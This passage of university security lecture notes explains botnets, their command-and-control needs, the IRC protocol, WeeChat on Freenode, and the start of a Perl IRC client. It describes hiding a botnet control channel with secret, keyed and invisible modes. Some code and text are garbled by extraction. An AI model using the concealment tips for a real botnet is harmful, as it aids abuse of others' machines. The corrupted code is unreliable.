Lecture 29: Bots, Botnets, DDoS Attacks, and DDoS Attack Mitigation

Lecture Notes on “Computer and Network Security”

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April 11, 2023
5:47pm

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Goals:
- Bots and bot masters
- Command and communication needs of a botnet
- The IRC protocol and a command-line IRC client
- Freenode IRC network for open-source projects and the WeeChat IRC client
- Python and Perl code for a command-line IRC client
- Python and Perl code for a mini-bot that spews out spam
- DDoS attacks and strategies for their mitigation
- Using IoT devices to launch potentially crippling DDoS attacks
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29.1 BOTS AND BOT MASTERS

- Earlier in Lecture 22, we focused on viruses and worms. Typically, viruses and worms are equipped with a certain fixed behavior. Any time they migrate to a new host, they try to engage in that same behavior.

- A bot, on the other hand, is usually equipped with a larger repertoire of behaviors. Additionally, and perhaps even more importantly, a bot maintains, directly or indirectly, a communication link with a human handler, known typically as a bot-master or a bot-herder.

- The specific exploits that a bot engages in at any given time on any specific host depend, in general, on what commands it receives from some human. **You could say that a basic characteristic of a bot is that it does the bidding of the bot master.**

- A bot master can harness the power of several bots working together to bring about a result that could be more damaging than what can be accomplished by a single bot (or a worm or a virus) working all by itself. The bots working together could, for
example, mount a **distributed denial of service (DDoS)** attack that would be much more difficult to protect against than a regular denial of service attack (DoS) we talked about in Lecture 16. Several bots working together would also be more effective in spreading virus and worm infections, and in corrupting the machines with spyware, adware, etc. Additionally, it would be much more difficult to squelch spam if it is spewing out simultaneously from several bots at random locations in a network. [A botnet may infect millions of computers. A botnet dismantled not too long ago, Rustock, was believed to have infected close to a million computers. This botnet as a whole was sending several billion mostly fake-prescription-drugs related spam messages every day. Rustock was dismantled by Microsoft through a court-ordered action that shut down the botnet’s command-and-control (C&C)servers that Microsoft was able to locate in several cities in the United States. While the dismantling of Rustock was indeed a major triumph, its human handles have not yet been identified (to the best of what I know). By the way, the C&C servers taken down by Microsoft were in all likelihood a bunch of compromised public IRC servers used for the botnet. See Section 29.3 for IRC.]

- Being generally a more powerful piece of software, a bot may also exhibit greater ability to adapt its behavior to its environment. As a case in point, a bot may prove more adept at understanding the security features of a host and at weakening them for its own benefit. To illustrate, some folks think of the Conficker worm (see Lecture 22) as a bot because of its advanced communication abilities and, even more particularly, because of its ability to prevent a host from contacting security
agencies for the purpose of downloading updates that may prevent the worm from operating.

- A collection of bots working together for the same bot-master constitutes a botnet.

- Not too long ago at Purdue University we developed a new approach to the detection and isolation of botnets in a computer network. Our method is based on a probabilistic analysis of the temporal co-occurrences of malicious activities in the different computers in a LAN. On the basis of the results obtained on simulated botnet data and on actual network traces, we believe this approach is more powerful than the other approaches that have been developed to date. Our approach is described in the following paper:


  ABSTRACT:

  We present a new graph-based approach for the detection and isolation of botnets in a computer network. Our approach depends primarily on the temporal co-occurrences of malicious activities across the computers in a network and is independent of botnet architectures and the means used for their command and control. As practically all aspects of how a botnet manifests itself in a network, such as the online bot population, bot lifetimes, and the duration and the choice of malicious activities ordered by the bot master, can be expected to vary significantly with time, our approach includes mechanisms that allow the graph representing the infected computers to evolve with time. With regard to how such a graph varies with time, of particular importance are the edge weights that are derived from the temporal co-occurrences of malicious activities at the endpoints of the edges.
A unique advantage of our graph-based representation of the infected computers is that it allows us to use graph-partitioning algorithms to separate out the different botnets when a network is infected with multiple botnets at the same time. We have validated our approach by applying it to the isolation of simulated botnets, with the simulations based on a new unified temporal botnet model that incorporates the current best understanding about how botnets behave, about the lifetimes of bots, and about the growth and decay of botnets. We also validate our algorithm on real network traces. Our results indicate that our framework can isolate botnets in a network under varying conditions with a high degree of accuracy.

- What makes our approach particularly powerful is that it does not make any assumptions about the mode of command and control used in the botnets. Most of the competing approaches are based on specific assumptions regarding how the bots in a botnet communicate with one another and with the botmaster.

- If interested, you can download this publication from:

29.2 COMMAND AND CONTROL NEEDS OF A BOTNET

- If the purpose of a bot is to carry out the bidding of the bot master, a bot must have embedded in it some communication capabilities that would allow it to receive commands and, in some cases, to return the results to the bot master.

- There are two different ways in which a bot may receive commands from its master: (1) the push mode; and (2) the pull mode. Both of these modes require a command-and-control (C&C) server that “talks” to the individual bots, as shown in Figure 1.

- In the push mode, the C&C Server in Figure 1 acts like a broadcast server, in the sense that the server can broadcast the same message to all the bots. It is a push mode because the C&C server sends or “pushes” the command and control messages into the bots. The IRC Servers have emerged as the servers of choice for this role. Section 29.3 briefly reviews IRC.

- In the pull mode, the bots send a request to the C&C server every once in a while for the latest commands, very much like
Figure 1: A C&C (Command and Control) server is an essential component of what it takes for a collection of bots to do the bidding of their human masters. (This figure is from Lecture 29 of “Lecture Notes on Computer and Network Security” by Avi Kak)
the request your browser sends to a web server. If new commands are available, the C&C server responds back with the same. For obvious reasons, HTTPD servers are popular for such C&C servers.

- Note that a botnet exploit is more likely to go undetected if the communication between the bots and the C&C server uses standard protocols as opposed to some custom designed protocol. With standard protocols, it becomes that much more difficult for a packet sniffer and a protocol analyzer to figure out that anything is awry in a network.

- The above point should explain why IRC is the protocol of choice for botnets based on the push mode of communications between the C&C server and the bots, and why HTTP is the protocol of choice for the pull mode. As IPS and IDS frameworks have become smarter over the years with recognizing the traffic signatures in packets used for IRC routing, it is believed that the botmasters of today are increasingly favoring the pull mode over the push mode. Since HTTP traffic is much more pervasive in the internet compared to the IRC traffic, it would be more challenging for IPS and IDS to detect the botnet based HTTP or HTTPS packets. Nonetheless, given the installed base of botnets in the internet, I believe that a vast majority of botnet communications with the human handlers is still handled by the IRC servers — especially the servers based outside the US. IPS stands for Intrusion Protection System and IDS for Intrusion Detection System. We discussed IDS in Lecture 23.

- Also note that each bot registers itself with the C&C server. Subsequently, the bot master only has to communicate his/her
intentions to the C&C server in order for those intentions to be sent to all the bots. This layer of indirection allows the communications between the human and the C&C server to be infrequent, making it that much harder to discover the human handler.

• Since I expect the reader to already be familiar with the HTTP protocol used in the pull mode of command and control, in the rest of this lecture I will focus more on the push mode achieved most typically by the IRC protocol. Additionally, the push mode, and therefore the IRC protocol, is more popular for creating C&C capabilities for the botnets.
29.3 THE IRC PROTOCOL

- You have all heard about chat servers and chat clients. Basically, a chat server is a server socket that listens for incoming requests from new clients wanting to join in a chat. When a new request is received, the server socket spits out a client socket for maintaining a direct link with the new client and forks that client socket to a new child process. It is relatively easy to write programs for chat servers and chat clients. See Chapter 19 of my book “Programming with Objects” for how to write such programs in C++ and Java, and Chapter 15 of my book “Scripting with Objects” for how to do the same with Perl and Python.

- The IRC protocol takes the idea of a chat server/client to a much higher level. IRC stands for Internet Relay Chat.

- What’s incredibly beautiful about the IRC protocol is that the individual chat clients could be plugged into different machines in different parts of the world, yet all of these different machines (if they are part of the same IRC network) would appear as a single logical chat server to all the clients.

- The idea described above is illustrated with the network shown
in Figure 2.

- The IRC network of Figure 2, whose symbolic name (let’s assume) is **MyIRCNet**, consists of six servers, A, B, C, D, E, and F, that are connected as shown. [It is important to realize that, in general, all of these servers will be plugged into the internet and therefore, for the exchange of TCP/IP traffic, each server can send TCP/IP packets to all other servers. The connectivity that is shown in Figure 2 is only for the exchange of IRC traffic. We can therefore think of the network shown in Figure 2 as an overlay network.] An IRC overlay is not allowed to have loops. This is to ensure that, from the standpoint of any server node in the network, the rest of the network looks like a tree. This allows each server node to act as a central node vis-a-vis the rest of the IRC network. With regard to the participating hosts, an IRC overlay can be thought of as a spanning tree over the underlying TCP/IP network. The fact that there are no loops in an IRC overlay means that there is always a unique path from any one server to any other server. [No loops in the IRC overlay makes it easier to update all the servers in real time with regard to the latest information regarding the servers and the users. Basically, it is the responsibility of each server to forward all the received state information to the servers it is connected to (except the server from which the information was received) in the overlay network. If the overlay were to contain loops, such a simple algorithm would not suffice for keeping the entire network synchronized.]

- The fact that the entire network must look like a single logical chat server to all the clients means that all of the individual servers must stay synchronized in real time with regard to the state of all the servers and of all the users in the network. **It is**
An IRC Network

Network’s Symbolic Name: MyIRCNet

Figure 2: The six chat servers, A through F, in this IRC network act as a single logical chat server vis-a-vis all the clients. (This figure is from Lecture 29 of “Lecture Notes on Computer and Network Security” by Avi Kak)
this instant server-to-server synchronization that sets the IRC protocol apart from a run-of-the-mill chat server or, even, a social networking site. [This real-time need for server-to-server synchronization with regard to the state of the individual servers, the individual clients on the different servers, and the individual channels means that the IRC protocol cannot easily be scaled up to an arbitrarily large number of servers. This issue is broached in RFC 2810. The main IRC protocol is described in RFC 1459.]

- Each user in an IRC network is identified by a nickname that is commonly referred to as just the nick for that user. Obviously, no two users in the same IRC network can have the same nick.

- The concept of a channel is fundamental to how the users organize themselves into different groups in an IRC network. **By definition, a channel is simply a set of users.** There are two kinds of channels in an IRC network: channels that are local to each specific server and channels that are global to all the servers. The former are denoted with the ‘&’ prefix and the latter with the ‘#’ prefix. For illustration, the users that are shown in Figure 2 might participate in the following channels simultaneously:

  ```
  #movies => {holly, zeee, moomoo, fearless, auroka}
  #classicalMusic => {auroka, yoyo}
  #petsDogs => {jeebee, moomoo, blaster}
  ```
The channels \#movies, \#classicalMusic and \#petsDogs are global to the whole network. On the other hand, the channel \&localSchool is local to Server A. When a message is sent to a channel, it is sent to all the users that are in the set corresponding to the channel. [Vis-a-vis the different servers in an IRC network, a channel is like a multicast group. A chat taking place in a channel is sent to only those servers that have clients participating in the chat.]

- The IRC protocol considers the first person to start a new channel as the operator of that channel. An operator has certain privileges, such as the privilege to “kick” a troublesome user off a channel. [If you are going to be playing with the IRC protocol by actually connecting with a public IRC network, it is good to keep in mind that it is not that difficult to lose operator privileges. Let’s say you start a new channel and become its operator and then suddenly because of some network hiccup your machine becomes temporarily disconnected from the network. During the time you are disconnected, you could get dropped from the channel and someone else finding the channel without an operator could take over your operator privileges. To guard against such unpleasant situations, IRC networks allow you to register your nick and your channel. The command for registering a nick may look like NickServ or NS and the command for registering a channel may look like ChanServ or CS. That way, after you have identified yourself with the IDENTIFY command to ChanServ, you will always have your operator privileges restored for your registered channel should you get accidentally disconnected.]

- All messages, including those used for command and control, in an IRC network conform to the following syntax [But note that

\[
\&\text{localSchool} \quad => \quad \{\text{jeebee}, \text{jojo}\}
\]
you yourself may not see this syntax if you are using a GUI-based IRC client. The
GUI will take care of whatever you enter in the chat window into a form that
conforms to the syntax shown below):

1. an optional “:”-prefixed string, followed by
2. a valid IRC command in ASCII (or the corresponding 3-digit
   number), followed by
3. the arguments to the command.

The entire string that comes after the command is taken to be the argument(s) for the command. Here is an example of such a message (its meaning will become clear shortly):

:botBoss MODE #botnetUnderground +k abracadabra

In this example, the IRC command is **MODE** and what follows are the arguments to the command.

- An IRC message is always terminated in the internet line
  terminator, which is CR+LF.  
  [In that sense, the IRC protocol is a
  line-oriented protocol. Each message between a client and a server or
  between two different servers consists of a single line.]

- An IRC message must not exceed 512 characters in length,
  counting all characters, including the trailing CR+LF
  characters.
Let's now focus on the command part of an IRC message. Shown below are the commands of the IRC protocol:

```
ADMIN Usage: ADMIN [<server>]
AWAY Usage: AWAY [message]
CONNECT Usage: CONNECT <target server> [port] [remote server]]
ERROR Usage: ERROR <error message>
INFO Usage: INFO [<server>]
INVITE Usage: INVITE <nickname> <channel>
ISON Usage: ISON <nickname>{<space><nickname>}
JOIN Usage: JOIN <channel> {[<channel>] [<key>]}
KICK Usage: KICK <channel> <user> [comment]
KILL Usage: KILL <nickname> <comment>
LINKS Usage: LINKS [[<remote server>] <server mask>]
LIST Usage: LIST [[<channel>],<channel>] [<server>]
MODE (for channel) Usage: MODE <channel> {+|-}<prop> [limit] [user] [ban mask]
MODE (for user) Usage: MODE <nickname> {+|-}prop
NAMES Usage: NAMES [<channel>]
NICK Usage: NICK <nickname> [hopcount]
NOTICE Usage: NOTICE <nickname> <text>
OPER Usage: OPER <user> <password>
PART Usage: PART <channel>[
PASS Usage: PASS <password>
PING Usage: PING <server1> [<server2>]
PONG Usage: PONG <daemon> [<daemon2>]
PRIVMSG Usage: PRIVMSG <receiver>[
QUIT Usage: QUIT [quit message]]
REHASH Usage: REHASH
RESTART Usage: RESTART
SERVER Usage: SERVER <servername> [hopcount] <info>
SQUIT Usage: SQUIT <server> [comment]
STATS Usage: STATS [query] [<server>]
SUMMON Usage: SUMMON <user> [<server>]
TIME Usage: TIME [<server>]
TOPIC Usage: TOPIC <channel> [topic]
TRACE Usage: TRACE [<server>]
USER Usage: USER <username> <hostname> <servername> <realname>
USERHOST Usage: USERHOST <nickname>{<space><nickname>}
USERS Usage: USERS [<server>]
VERSION Usage: VERSION [<server>]
WALLOPS Usage: WALLOPS <text>
WHO Usage: WHO [<name> [co]]
WHOIS Usage: WHOIS [<server>] [<nickmask>[,nickmask][...]]
WHOWAS Usage: WHOWAS <nickname> [count] [<server>]
```

Note that if a parameter for a command is shown inside square
brackets, it is optional.

- With regard to the use of IRC in botnets, particularly important is the fact that channels can be made secret and users made invisible. To understand how that can be done, note that all entities in an IRC network — and that includes servers, channels, and users — can be given certain properties. The \texttt{MODE} command that is included in the list shown above is used to set the properties of servers, channels, and users. Let’s examine the usage syntax for the \texttt{MODE} command (for channels) in the list shown above:

\begin{verbatim}
MODE <channel> {+|-}<prop> [limit] [user] [ban mask]
\end{verbatim}

The \texttt{<prop>} parameter here stands a one-letter property flag that is selected from the following choices:

- \texttt{a} : toggle to make a channel anonymous
- \texttt{b} : set/remove a ban mask to keep users out
- \texttt{e} : set/remove an exception mask to override a ban mask
- \texttt{i} : toggle the invite-only channel flag
- \texttt{k} : set/remove the channel key (password)
- \texttt{l} : set/remove the user limit to channel
- \texttt{m} : toggle to make a channel moderated
- \texttt{n} : toggle for no messages to channel from clients on the outside
- \texttt{o} : give/take channel operator privileges
- \texttt{p} : private channel flag
- \texttt{q} : set to make a channel quiet
- \texttt{r} : toggle the server reop channel flag
- \texttt{s} : toggle the secret channel flag
- \texttt{t} : toggle the topic settable by channel operator only flag
- \texttt{v} : give/take the ability to speak on a moderated channel
- \texttt{I} : set/remove an invitation mask to automatically override
the invite-only flag

0 : give "channel creator" status

• Let’s say I started a new channel #botnetUnderground on a publicly available IRC network. Since I was the first person on the channel, I’d have certain special operator privileges. Now let’s say that I want to make this channel secret. I might be able to do so by issuing the following command to the IRC server I am connected to:

   MODE #botnetUnderground +s

When a channel is made secret in this manner, it becomes invisible to those who are not members of the channel. One can also use the ‘p’ property (that stands for ‘private’) for the same effect. But, with the ‘p’ option, the nicks of the users in the private channel may still be shown to other non-member users through the TOPIC, LIST, and NAMES commands. [The TOPIC command is used to set/unset a topic for a channel. For example, if you send the message

   TOPIC #myChannel :dance lessons, the topic for the channel #myChannel would be set to “dance lessons”. The NAMES command returns the nicks for the all the visible users in a visible channel. So if you send the message

   NAMES #myChannel will return the nicks of all the visible users in the channel myChannel. The LIST command returns the topics for the channels. So if you send the following message to the server: LIST #myChannel,#my2Channel you will get back the topics for the channels #myChannel and #my2Channel.]
- If you are going to make the channel #botnetUnderground secret, you are also probably going to want to make it only password accessible. This can be done by setting the ‘k’ (for key) property of the channel by sending the following message to the server:

```
MODE #botnetUnderground +k abracadabra
```

- The `MODE` command I showed above is for setting a channel property. The same command can also be used for setting a user property. The usage pattern for this version of `MODE` is also shown in the long list of IRC commands I showed earlier:

```
MODE <nickname> [+|-]<prop>
```

where `<prop>` stands for the following one-letter options:

- a : user is flagged as away
- i : marks a users as invisible
- o : operator flag
- r : restricted user connection
- s : marks a user for receipt of server notices
- w : user receives wallops

Note the ‘i’ option that marks a user as invisible. Let’s say my nick is `botBoss` and I want to make myself invisible. [But don’t get too swayed by what you can accomplish by making yourself invisible in this manner. You will still be
fully visible in your own channel. All that being invisible gets you is that people in other channels will not be able to find out about you through the WHO and WHOIS searches. I can do so by sending the following message to the server:

```
MODE botBoss +i
```

- Let’s go back to the syntax of the messages in an IRC network. I mentioned earlier that each message is composed of: (1) an optional string that if present must have the prefix ‘:’; (2) a command string (or the corresponding integer); and (3) the rest which stands for the parameters to the command. But all the examples I have shown so far are for messages that started with a command, as opposed to with ‘:’. For example, look at the `MODE` message shown above — it does not start with a colon. So when do we have messages that include the optional first colon-prefixed string?

- Regarding the role played by the colon for starting an IRC message, note that when you as a client send a message to the server you are connected to, it will look like

```
MODE #botnetUnderground +k abracadebra
```

But when the same message is forwarded by the server that received your message to other servers in the IRC network, its syntax becomes
assuming that your nick is **botBoss**. Now the message has all the three components.

- So far we have talked about the commands for setting up the different attributes for the channels and the users. **But how does one actually engage in the main activity that the IRC protocol is designed for: sending text to others?** The command for sending text to other users in an IRC network is **PRIVMSG**. Here is an example of an IRC message you might send to your server:

  PRIVMSG #botnetUnderground :Hello Bots! Are you ready to wage war?

  The message **“Hello Bots! Are you ready to wage war?”** will be sent to all the users who are members of the #botnetUnderground channel.

- The preceding discussion was designed to make you familiar with the command and control vocabulary of the IRC protocol. As you might have guessed already, the implementation of the protocol is rather straightforward for a client, but must be quite challenging for a server. Server implementation is made difficult by all the code you must write to keep all the servers synchronized on a real-time basis.
There are several IRC clients available on the internet, several of them free. I prefer to use the WeeChat client on my Linux laptop. Perhaps the most popular IRC client for the Windows platform is mIRC, but there is a small charge for it after the evaluation period is over.
29.4 BECOMING FAMILIAR WITH THE FREENODE IRC NETWORK AND THE WEECHAT CLIENT

- If you are a fan of open source software in general, you should become familiar with the Freenode IRC network. All of Ubuntu’s IRC channels are based on the Freenode servers. I believe all of Wikipedia’s IRC channels are also on the Freenode network.

- I’d highly recommended that you read at least the first half of this section with care before connecting with an IRC server. If you don’t, you might inadvertently end up using your login name on your own computer as a nick on the server.

- I have created a channel named `##PurdueCompsec` on the Freenode network. [My original intent for doing that was to hang out there periodically to answer questions related to these lecture notes. Unfortunately, I have not had time for that — you could say that my good intentions became a casualty of my rather intense research-related obligations that keep me up late into the night most days.]

- You are obviously going to need an IRC client to interact with the Freenode network. I’d recommend a command-line
text-based client like WeeChat. You can download it directly through your Synaptic Package Manager. Installing the weechat package automatically also installs the following related packages: weechat-cor, weechat-curses, and weechat-plugins,

- By default, the WeeChat client connects with the Freenode servers.

- I bring up the WeeChat client in my laptop by using the command:

  ```
  weechat-curses irc://the_nick_you_want_to_use@irc.freenode.net
  ```

  If this is going to be your first connection with Freenode, you’d obviously need to first choose a nick for yourself. Let’s say you have chosen the nick “zeldar”. So you’d bring up WeeChat with the command:

  ```
  weechat-curses irc://zeldar@irc.freenode.net
  ```

  This command will bring up the WeeChat interface that has your terminal window divided into several areas. The main part of the window that occupies the largest area will ultimately be used for the chat after you have jointed a channel. Above the main window you’ll see a one-line Title Bar that shows the title of the “buffer” you are currently in. (More later on what is meant by a “buffer”.) Initially, it may show a string like “IRC: irc.freenode.net/6667 (91.217.189.42)”. Below the main window is the Status Bar. And below the status bar is the Input Bar.
This is where you will be entering all your commands as you first interact with the WeeChat client and later with a FreeNode server.

- Next, you would want to either register the nick (which in the example shown here is “zeldar”) or authenticate the nick, the former if this is your first visit to Freenode and the latter if this is a repeat visit. [If this is your first visit to the Freenode network, you may wish to register your nick with the nick server known as NickServ. Although many channels will allow users with non-registered nicks to participate, some important channels do not. If the channel mode is set to ‘+r’, you won’t be able to join unless you are registered. To see the mode flags associated with a channel that you are interested in, run the command ‘/msg ChanServ INFO some_channel’ in the server buffer.]

- You register your nick by entering the following in the Input Bar:

  /msg NickServ REGISTER your_password your_email_address

Keep in mind the fact that everything in this line after “REGISTER” — including the email address — will be masked with asterisks. [Since a majority of us are not used to seeing our email addresses masked when creating or using our login credentials, this can be highly disconcerting at first because you get the sense that you are never done entering the password. The first time I used the command shown above, I remember wasting a couple of hours of my life trying to figure out why the system was not accepting my password.] For completing the registration process, you will be sent an email message by Freenode folks asking you to verify the registration of your nick. This email comes from the address
“noreply.support@freenode.net”. So, if you have a spam filter, you may wish to allow for this incoming email before registering your nick.

- On the other hand, if this was your repeat your visit to Freenode and you registered your nick during one of your previous visits, you’d need to authenticate your nick with the command:

  /msg NickServ IDENTIFY your_password

And, should you need to reset your password, you would need to execute:

  /msg NickServ SET PASSWORD new_password

- Be reminded that in the one-line Input Bar at the bottom of your client window, if the first word you enter in the text entry line is prefixed with ‘/’, that word is construed to be a command. [When the first word is not so prefixed, the entire entry in the text entry line is taken to be your input to the ongoing chat — if you are in a channel buffer. As to what is meant by a “buffer”, more on that shortly.] When you first bring up the IRC client, the commands you enter will be on the client itself. However, after you are connected to an IRC server, these commands may be interpreted by your IRC client or by the IRC server, depending on what the commands are. [For example, all commands for help will be interpreted directly by the client. In general, you can tell who is responding to your command by seeing the entries in the running log at the left in your client window.] You have to be rather careful when issuing commands to the server after you have joined a channel. Let’s say you want to authenticate yourself to the server to
indicate that your nick is registered. You are expected to execute such a command in the server buffer. But you could also enter the command in the channel buffer — although it would still be executed in the server buffer. Let’s say you run the authentication command in a channel buffer and you forget to prefix the command with the customary ‘/’. In general, authentication requires that you enter your password in the Input Bar. So with the inadvertent error of forgetting the prefix ‘/’ while you are in the channel buffer, anything you enter in the text entry window — including your password — will become a part of the ongoing chat and will be seen by all the users participating in the chat. As to what I mean by the “server buffer” and the “channel buffer”, you’ll soon see in this section.

Now you are ready to create alternative nicks for yourself that would be registered against the same security credentials you provided above. This you can do by:

```
/nick newNick1
/msg NickServ GROUP
/nick newNick2
/msg NickServ GROUP
```

where the keyword GROUP means that you want the new nick to be grouped with the previously supplied nicks for the same security credentials.

Using either one of your registered nicks or a newly conjured up nick — say, ‘zellllda’ — you wish to use for anonymity, you can open the WeeChat client window in your terminal screen with a direct connection to a Freenode server by:

```
weechat-curses irc://zellllda@irc.freenode.net
```

An extension of the above command line can put you directly in a channel in the IRC network:
weechat-curses irc://zelllda@irc.freenode.net/##PurdueCompsec

where, as mentioned previously, ##PurdueCompsec is a channel I have created for talking about issues related to my computer and network security lecture notes.

- Ordinarily, after you are connected with a Freenode server, your command for joining a channel will be like

  /join ##PurdueCompsec

- If you are wondering why the channel name ##PurdueCompsec is prefixed with two hash marks, Freenode has the notion of primary channels — these are project-related channels such as the channel named #python — and topical channels such as the ##PurdueCompsec channel that I have created.

- After you have joined a channel, the appearance of your IRC client window will change. It’ll now have three vertical divisions. Each line in the first vertical division will show the timestamp and the source of information for the corresponding line in the main vertical division in the middle of the client window. This main vertical division in the middle will show you the ongoing chat. The rightmost vertical division will show the list of nicks in the channel.
- You can **scroll** in the main middle division and the rightmost division independently through a combination of function, control, alt, page-up, page-down, etc., keys in your keyboard. Page-up and page-down keys can be used for scrolling in the main chat window. The key F12 scrolls down the rightmost vertical portion of the display where the nicks are shown. The function key F11 toggles between expanding the client window to cover the full screen and shrinking it back to the original size, etc.

  **When using the function keys, do NOT also press the ‘Fn’ key at the bottom of your keyboard.** Just hit the function key itself at the top of the keyboard. The WeeChat Users’ Guide shows you the different key combinations that can be used to interact with the window.

- If you are the first to issue the **join** command on a channel name, that implies that you have just created a new channel. The **join** command line that was shown previously, when it was executed by me for the first time, created a channel named **##PurdueCompsec**. At the same time, I was made the channel’s **op**, meaning the channel operator. A couple of things you’d want to do before having anyone join a new channel would be to execute the following commands in the server **buffer**: [Read what is meant by **buffer** in your terminal window before executing the commands shown below.]

  ```
  /msg ChanServ REGISTER ##PurdueCompsec
  /msg ChanServ SET ##PurdueCompsec TOPICLOCK ON
  ```
/msg ChanServ SET ##PurdueCompsec EMAIL xxxxxx

/msg ChanServ SET ##PurdueCompsec URL xxxxxx

/msg ChanServ TOPIC ##PurdueCompsec Computer and Network Security

• As you can tell from the previous bullet, ChanServ is your important ally in making sure that you retain control over your channel. Therefore, the more familiar you become with ChanServ, the better. The following help commands are very useful in order to figure out what syntax to use to set different properties of a new channel: [These commands are also meant to be executed in the server buffer.]

/msg ChanServ help

/msg ChanServ help SET

/msg ChanServ help SET a_property_you_want_to_set

/msg ChanServ help command_you_areinterested_in

• I’ll next explain the very important notion of buffer in using an IRC client.

• First note that your interaction with an IRC client like WeeChat will involve three different modes: (1) the interaction
with the chat client itself: (2) After you have connected with an IRC server, the interaction with the server; and, finally, (3) After you have joined a channel, your interaction with the channel. As to whom you are interacting with is shown in the blue Status Bar just above the Input Bar in which you have been entering your commands. The first two modes of interaction consist of issuing commands (which are always prefixed with ‘/’) and the last mode primarily of participating in a chat. That brings us to the notion of a buffer in chat clients, in general, and in the WeeChat IRC client in particular.

- Let’s say you fired up your WeeChat client and you have just established a connection with an IRC server. You are now in the server buffer in your WeeChat IRC client. Subsequently, when you join a channel, the look of your window will change and the client window will now be in the channel buffer. The fact that you are in the channel buffer does NOT mean that you have exited the server buffer. You can go back and forth between the two buffers by issuing the command

  `/buffer i`

in the text entry line at the bottom of the window, where ‘i’ equals 1 for the server buffer, 2 for the channel buffer, 3 for the buffer for the next channel you join, and so on. Note that if you should invoke most commands in the Input Bar while you are in the channel buffer, they are likely to be executed in the server buffer. To see the result of the command, you’ll have to switch to the server buffer by invoking the command ‘/buffer 1’.
You can now see the need for different buffers in a chat client. You would not want the flow of conversation in the chat window to be broken by the sudden appearance of the output of running, say, a help command in the text entry line at the bottom of the screen. Additionally, the buffers help you keep each chat visually separated from the others.

- As should be evident by now, you are allowed to join any number of channels, with each displayed in its own buffer. You can use the following commands to incrementally navigate between the buffers:

  `/buffer +1`

  `/buffer -1`

  The blue Status Bar at the bottom should show the names of all the buffers that are currently active. It also shows the total number of buffers after the time display at its left. The integer associated with a buffer is displayed just to the left of what the buffer is associated with.

- Now about interacting with the Freenode IRC, try entering the following command in the Input Bar in the server buffer:

  `/list`

  This will place in your chat buffer a very, very, very long list of all the channels supported by the IRC server.
• As mentioned previously, in order to scroll up and down the information that shows up in the main chat window in the middle of the client window, use Page-UP and Page-Dn buttons on your keyboard. You can also try entering “Alt-m” through the keyboard to enable scrolling the text displayed in the main window.

• Although you can see the nicks in the rightmost vertical division of your client window, if you run the following command in a channel buffer you’ll see the nicks in the main chat window.

(names)

If you are in the server buffer, you can also use the following command to see who is participating in any channel [As to what is meant by ‘server buffer’, you will soon find out.]

(names #python

• To leave a channel, you use the command

(close)

If you enter the same command while you are in the server buffer, you will break your connection with the server and you’ll be back in the original WeeChat client screen. If you wish to quit WeeChat altogether, you use the command

(quit)
• The **help** commands are extremely useful in order to recall what syntax to use for a command. For example, when you are just talking to the client (that is, before you have made connection with an IRC server), you can see all the commands you can use vis-a-vis the WeeChat client by entering `/help` in the Input Bar. And if you need information on the fly regarding what syntax to use to invoke a command, you can enter `/help command` in the Input Bar.  

    [Many of the commands that the IRC client will show you can only be executed after you have an established connection with an IRC server. If you try to execute them prior to that, you’ll get the error message.]

• Finally, if you’d like to create a new channel for yourself, please make sure that such a channel does not exist already. This you can do by running the “ChanServe INFO” command on the channel name you have in mind. For example, before I created the ##PurdueCompsec channel, I ran the following command in the server buffer:

    `/msg ChanServ INFO ##PurdueCompsec`
29.5 PYTHON AND PERL CODE FOR AN ELEMENTARY COMMAND-LINE IRC CLIENT

- The main reason for showing you the rather elementary command-line IRC client in this section is that I’ll use this code in the next section for creating a spam-spewing mini bot.

- I’ll start with the Perl implementation of the client because, chronologically speaking, that came first. I wrote the Perl version in 2015 and its Python equivalent in 2017.

```perl
#!/usr/bin/perl -w

## ircClient.pl
## Avi Kak (kak@purdue.edu)
## April 22, 2015

## This is a command-line IRC client. I created this script by combining: (1) the
## script ClientSocketInteractive.pl in Chapter 15 of my book "Scripting With
## Objects"; (2) some portions from Paul Mutton’s script "A Simple Perl IRC Client"
## and user feedback scriplets that can be downloaded from
## http://oreilly.com/pub/h/1964; and (3) some additional checks of my own for the
## messages going from the client to the server.
##
## To make a connection, your command line should look like
##
##   ircClient.pl irc.freenode.net 6667 botrow ##PurdueCompsec
##
## where 'botrow' is your nick and ##PurdueCompsec the name of the channel.
## Obviously, 'irc.freenode.net' is the hostname of the server and 6667 the port
## number.
```

36
### After you are connected, to send a text string to the server, enter
### PRIVMSG ##PurdueCompsec :your actual text message goes here
### where 'PRIVMSG' is the command name for sending a text message and
### '###PurdueCompsec' the name of the channel. What comes after the colon is the
text you want to send to the channel. Similarly, if you want to announce to
to the ##PurdueCompsec channel that you will be away for 10 minutes, you can
to enter
### AWAY ##PurdueCompsec :Back in 10 mins
### If you want yourself to be unmarked as being away, all you need to enter is
### AWAY
### without any arguments to the command. To quit a chat session, all you have to
to say is
### QUIT
### It is normal for the server to return an ERROR message when you quit.
### If you don't know where the command names PRIVMSG, AWAY, QUIT, etc., come from,
read the RFC1459 IRC standard. That standard defines a total of 40 such
commands.
### Also try PING, WHO, WHOIS, USERS, PART, QUIT, NAMES, LIST, VERSION,
STATS c, STATS l, STATS k, ADMIN, etc., with this command-line client.

use strict;

use IO::Socket;  

use IO::Socket::INET or die "Can't connect\n";

my $server = shift;  
my $port = shift;  
my $nick = shift;  
my $login = $nick;  
my $channel = shift;  

my $sock = IO::Socket::INET->new(PeerAddr =>$server, 
PeerPort =>$port, 
Proto => 'tcp') or die "Can't connect\n";

$SIG{INT} = sub { $sock->close; exit 0; };

my @IRC_cmds = qw/ADMIN AWAY CONNECT ERROR INFO INVITE 
ISON JOIN KICK KILL LINKS LIST MODE 
NAMES NICK NOTICE OPER PART PASS PING/;
PONG PRIVMSG QUIT REHASH RESTART SERVER
QUIT STATS SUMMON TIME TOPIC TRACE
USER USERHOST USERS VERSION WALLOPS
WHO WHOIS WHOHAS/;  #(M)

print STDERR "[Connected to $server:$port]\n";  #(N)

# spawn a child process. The variable $pid is set to the PID of the child process in
# the main process. However, in the child process, its value is set to 0.
my $pid = fork();  #(O)
die "can't fork: $!" unless defined $pid;  #(P)

# Parent process: Use blocking read to receive messages incoming from the server and
# respond to those messages appropriately. If there a need to send a message to the
# server, a message that is not a reply to something received from the server, the
# child process will take care of that.
if ($pid) {  #(Q)
    STDOUT->autoflush(1);  #(R)
    # Log on to the server. To log into a server that does not need a password, you
    # need to send the NICK and USER messages to the server as shown below. See
    # Section 3.1.3 of RFC 2812 for the syntax used for the USER message.
    print $sock "NICK $nick\n";  #(S)
    print $sock "USER $login 0 * :A Handcrafted IRC Client\n";  #(T)
